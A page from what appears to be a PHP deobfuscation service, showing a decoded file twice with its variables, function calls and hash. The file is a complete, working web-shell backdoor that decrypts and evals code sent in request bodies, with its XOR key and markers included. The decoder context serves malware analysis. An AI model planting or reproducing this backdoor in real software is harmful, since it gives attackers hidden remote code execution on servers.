Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$k="80e32263"; $kh="6f8af44abea0"; $kf="351039f4a7b5"; $p="0UlYyJHG87EJqEz6"; function..

Decoded Output download

<?  $k="80e32263"; 
$kh="6f8af44abea0"; 
$kf="351039f4a7b5"; 
$p="0UlYyJHG87EJqEz6"; 
function x($t,$k){ 
	$c=strlen($k); //$c = 8  
	$l=strlen($t); //$l = 0 
	$o=""; 
	for($i=0;$i<$l;){ 
		for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j}; 
		} 
	} 
		return $o;} 
	if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) 
		{@ob_start(); 
			@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));$o=@ob_get_contents(); 
			@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k)); 
			print("$p$kh$r$kf");} ?>

Did this file decode correctly?

Original Code

$k="80e32263";
$kh="6f8af44abea0";
$kf="351039f4a7b5";
$p="0UlYyJHG87EJqEz6";
function x($t,$k){
	$c=strlen($k); //$c = 8 
	$l=strlen($t); //$l = 0
	$o="";
	for($i=0;$i<$l;){
		for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};
		}
	}
		return $o;}
	if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1)
		{@ob_start();
			@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));$o=@ob_get_contents();
			@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));
			print("$p$kh$r$kf");}

Function Calls

preg_match 1
file_get_contents 1

Variables

$k 80e32263
$p 0UlYyJHG87EJqEz6
$kf 351039f4a7b5
$kh 6f8af44abea0

Stats

MD5 cc2d9974fd1cd5508bd3eb6a9e19959d
Eval Count 0
Decode Time 322 ms